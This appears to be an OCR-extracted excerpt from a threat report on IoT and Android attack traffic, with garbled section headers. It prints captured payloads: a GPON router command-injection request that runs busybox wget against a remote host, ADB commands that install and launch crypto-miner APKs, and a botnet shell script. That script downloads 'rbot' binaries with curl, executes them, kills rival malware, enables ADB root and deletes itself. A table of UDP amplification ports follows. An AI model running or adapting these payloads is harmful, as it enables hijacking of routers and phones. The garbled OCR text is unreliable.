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M5: WEEFRZ M OHER (80/TCP, 8080/TCP)

POST /GponForm/diag_Form?images/ HTTP/1.1

Host: XXX.XXX.XXX.XXX:8080

Content-Length: 117

User—Agent: python-requests/2.4.3 CPython/2.7.9 Linux/3.16.0-4-amd64
Connection: keep-alive

Accept: / Accept-Encoding: gzip, deflate
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=
“busybox+wget+http://XXX.XXX. XXX.XXX/gponx
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7 BER A M OHER (8181/TCP)
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[48: BUkEAR 2 MO (5555/TCP)

pm path com.ufo.miner

sync /data/local/tmp/ufo.apk

pm install /data/local/tmp/ufo.apk

rm —f /data/local/tmp/ufo.apk

am start -n com.ufo.miner/com.example.test.MainActivity
ps | grep trinity

rm -rf /data/local/tmp/*

sync /data/local/tmp

chmod @755 /data/local/tmp/nohup

chmod 0755 /data/local/tmp/trinity
/data/local/tmp/nohup su -c /data/local/tmp/trinity
/data/local/tmp/nohup /data/local/tmp/trinity

9: 5555/ TCP ST DA O — K (T4 > <A F—iE)

#!/bin/sh

n="1i686 arm7 armé arm5 x86 x64"
http_server="XXX.XXX.XX.XXX"
cd /data/local/tmp

kill -9 $(pidof 3btrans)

for i in $n

do

#kill botkiller

cp /system/bin/sh qzx

>qzx

curl http://$http_server/rbot.$i > qzx

chmod 777 qzx

./qzx $i
done
kill -9 $(pidof trinity) #kill miner bot
kill -9 $(pidof xig) #kill miner
#pm uninstall com.ufo.miner #uninstall miner; thanks fbot
setprop service.adb.root 1 #set root property to 1
setprop ctl.restart adbd #restart adb server
rm /data/local/tmp/* & rm /data/local/tmp/.* #Remove other malwares
rm $0 #suicide
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123/UDP NTP 6,768,637
389/UDP CLDAP* 1,897,177

53/UDP DNS 1,883,380
19/UDP CharGen 1,013,728
161/UDP SNMP 452,443
11211/UDP Memcached* 302,228

1900/UDP SSDP 984,200
111/UDP Portmap* 149,755

1434/UDP Mssql* 17,018

10001/UDP  Ubiquiti Discovery® 10,948
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